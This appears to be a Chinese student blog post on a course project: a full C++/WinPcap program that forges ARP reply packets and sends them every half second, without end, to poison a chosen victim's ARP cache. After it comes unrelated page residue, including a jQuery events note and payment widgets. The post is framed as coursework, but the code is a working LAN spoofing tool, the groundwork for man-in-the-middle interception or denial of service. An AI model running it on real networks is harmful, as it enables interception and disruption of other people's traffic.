学习笔记——C++实现ARP欺骗

谢谢指正错误


在课设期间,从网上学习了简单的实现ARP欺骗
ARP欺骗的原理很简单:通过不断的向目标发送ARP包,致使目标主机的ARP缓存表中正确的IP映射的是错误的MAC地址

在书上的介绍中,采用了WinPcap的开发包,这样很方便的对网卡进行操作

所以,首先需要安装winpacp,并下载开发者包https://www.winpcap.org/devel.htm

对项目文件属性进行配置
1. 在C++项中附加目录加上winpacp的include
2. 在预处理器中加入WPCAP和HAVE_REMOTE
3. 在链接器常规中加入winpacp的lib路径
4. 在链接器输入中加入Packet.lib,wpcap.lib和ws2_32.lib

以下是根据网上的学习,所实现的代码:

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <stdio.h>
#include <stdlib.h>   
#include "pcap.h"
#include <string.h>

// DLC Header
#pragma pack (1)//使结构体按1字节方式对齐
typedef struct tagDLCHeader
{
    unsigned char DesMAC[6];//以太网目的mac地址
    unsigned char SrcMAC[6];//以太网源目的mac地址
    unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;

typedef struct tagARPFrame
{
    unsigned short  HW_Type;//硬件类型,2字节,填充0x0001
    unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
    unsigned char HW_Addr_Len;//MAC地址长度,1字节
    unsigned char Prot_Addr_Len;//IP地址长度,1字节
    unsigned short  Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
    unsigned char Send_HW_Addr[6];//发送方的MAC地址
    unsigned long Send_Prot_Addr;//发送方的IP地址
    unsigned char Targ_HW_Addr[6];//接受方的MAC地址
    unsigned long Targ_Prot_Addr;//接收方的IP地址
//  unsigned char padding[18];
} ARPFRAME, *PARPFRAME;

// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket
{
    DLCHEADER dlcHeader; //以太网头部
    ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;

#pragma


int mac_str_to_bin(char *str, char *mac)
{
    int i;
    char *s, *e;
    if ((mac == NULL) || (str == NULL))
    {
        return -1;
    }
    s = (char *)str;
    for (i = 0; i < 6; ++i)
    {
        mac[i] = s ? strtoul(s, &e, 16) : 0;
        if (s)
            s = (*e) ? e + 1 : e;
    }
    return 0;
}

//
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs;
pcap_if_t *d;

pcap_t * init()
{
//  pcap_if_t *alldevs;
//  pcap_if_t *d;
    int inum;
    int i = 0;         //网卡数量
    /* Retrieve the device list */
    //获取当前网卡列表
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
        exit(1);
    }
    //打印网卡的列表
    for (d = alldevs; d; d = d->next)
    {
        printf("%d. %s", ++i, d->name);
        //如果有网卡就打印出来
        if (d->description)
        {
            printf("(%s)\n ", d->description);
        }
        else
        {
            printf(" (No description available)\n ");
        }

    }
    if (i == 0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return 0;
    }
    printf("Enter the interface number (1-%d):", i);
    scanf_s("%d", &inum, sizeof(int));

    if (inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return 0;
    }
    //跳转到所选择的适配器
    for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
        //打开所选的网卡适配器
        if ((adhandle = pcap_open_live(d->name,   //适配器的名称
            65535,                                //捕获的数据包的部分。
            //65535是捕获所有流经的数据包,所有的数据包通过都产生端口
            0,
            1000,                                 //读取超时时间
            errbuf                                //错误缓存
            ))
            == NULL)
        {
            fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
            /* Free the device list */
            pcap_freealldevs(alldevs);
            return 0;
        }



    printf("\nlistening on %s...\n", d->description);
    /* At this point, we don't need any more the device list. Free it */
    //当监控某个网卡适配器后,就释放其他的,因为用不到了
    pcap_freealldevs(alldevs);



    return adhandle;

}

void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
    /* Send down the packet */
    if (pcap_sendpacket(fp,             // Adapter
        (const u_char *)&ARPPacket,     // buffer with the packet
        sizeof(ARPPacket)               // size
        ) != 0)
    {
        fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
        printf("send NULL ! \n");
        return;
    }
    else
    {
        //      printf("%d", sizeof(ARPPacket));
        printf("send OK ! \n");
    }

}


ARPPACKET  makeArp(int a){
    ARPPACKET ARPPacket;// 定义ARPPACKET结构体变量
    int arpType;
    struct in_addr s;
    char* srcIP;
    srcIP = (char*)malloc(sizeof(char) * 16);
    char* desIP;
    desIP = (char*)malloc(sizeof(char) * 16);
    char* srcMac;
    srcMac = (char*)malloc(sizeof(char) * 18);
    char* desMac;
    desMac = (char*)malloc(sizeof(char) * 18);
    if (a == 1)
    {
        printf("欺骗a方:\n");
        printf("请输入b方ip地址:");
        scanf_s("%s", srcIP, 16);
        printf("请输入a方ip地址:");
        scanf_s("%s", desIP, 16);
        printf("请输入arp包类型[01:请求  02:应答包][若需攻击则为02]:");
        scanf_s("%d", &arpType, sizeof(int));
        printf("请输入本机mac地址:[格式为ff:ff:ff:ff:ff:ff]");
        scanf("%s", srcMac);
        printf("请输入a方mac地址:[格式为ff:ff:ff:ff:ff:ff]");
        scanf("%s", desMac);
    }
    /*else if(a==2)
    {
    printf("欺骗B方:\n");
    printf("请输入A方IP地址:");
    scanf_s("%s", srcIP, 16);
    printf("请输入B方IP地址:");
    scanf_s("%s", desIP, 16);
    printf("请输入ARP包类型[01:请求  02:应答包][若需攻击则为02]:");
    scanf_s("%d", &arpType, sizeof(int));
    printf("请输入本机MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
    scanf_s("%s", srcMac, 12);
    printf("请输入B方MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
    scanf_s("%s", desMac, 12);
    }*/

    mac_str_to_bin(srcMac, (char*)ARPPacket.dlcHeader.SrcMAC);
    mac_str_to_bin(desMac, (char*)ARPPacket.dlcHeader.DesMAC);

    ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型ARP包
    ARPPacket.arpFrame.HW_Type = htons((unsigned short)0x0001);
    ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);
    ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;//MAC地址长度
    ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;// IP地址长度
    ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);//arp包类型
    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Send_HW_Addr);
    ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);// 源IP 
    //  printf("%6.6x \n", ARPPacket.arpFrame.Send_Prot_Addr);
    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Targ_HW_Addr);
    ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);//目的IP
    //  printf("%6.6x \n", ARPPacket.arpFrame.Targ_Prot_Addr);
    return ARPPacket;
}

int main(int argc, char **argv) {

    pcap_t * adhandle = init();

    ARPPACKET ARPPacket_A = makeArp(1);
//  ARPPACKET ARPPacket_B = makeArp(2);
    while (true)
    {
        sendArpPacket(adhandle, ARPPacket_A);       
//      sendArpPacket(adhandle, ARPPacket_B);
        Sleep(500);
//      Sleep(1000);
    }
    pcap_close(adhandle);
    return 0;
}

实现之后的操作结果如图所示:
选择的是应答包

结果在wareshark中抓包,显示如图:
这里是应答包

这次课设,了解了ARP的包结构和使用winpacp的发包与收包工作,同时如何构造ARP包,IP包,UDP包,学习书上对于IP包的分析代码也是很有收获。

  • 6
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 16
    评论
好的,关于 jQuery 的事件,我可以和你分享一些学习笔记。 1. 绑定事件 在 jQuery 中,我们可以通过以下方式来绑定事件: ``` $(selector).event(function(){ // 事件处理程序 }) ``` 其中,`selector` 表示要绑定事件的元素,`event` 表示要绑定的事件类型,比如 `click`、`mouseover` 等等。事件处理程序则是在事件触发时要执行的代码块。 2. 多个事件绑定 我们可以通过 `on()` 方法来同时绑定多个事件: ``` $(selector).on({ event1: function(){ // 事件处理程序1 }, event2: function(){ // 事件处理程序2 } }) ``` 这样,当 `event1` 或 `event2` 中任意一个事件触发时,对应的处理程序都会被执行。 3. 解除事件 如果需要解除某个元素的事件处理程序,可以使用 `off()` 方法: ``` $(selector).off(event); ``` 其中,`event` 表示要解除的事件类型。如果不指定事件类型,则会解除该元素上所有的事件处理程序。 4. 事件委托 在 jQuery 中,我们可以使用事件委托来提高性能。事件委托是指将事件绑定到父元素上,而不是绑定到子元素上,然后通过事件冒泡来判断是哪个子元素触发了该事件。这样,当子元素数量较多时,只需要绑定一次事件,就可以监听到所有子元素的事件。 ``` $(selector).on(event, childSelector, function(){ // 事件处理程序 }) ``` 其中,`selector` 表示父元素,`event` 表示要绑定的事件类型,`childSelector` 表示要委托的子元素的选择器,事件处理程序则是在子元素触发事件时要执行的代码块。 以上是 jQuery 中事件的一些基本操作,希望对你有所帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值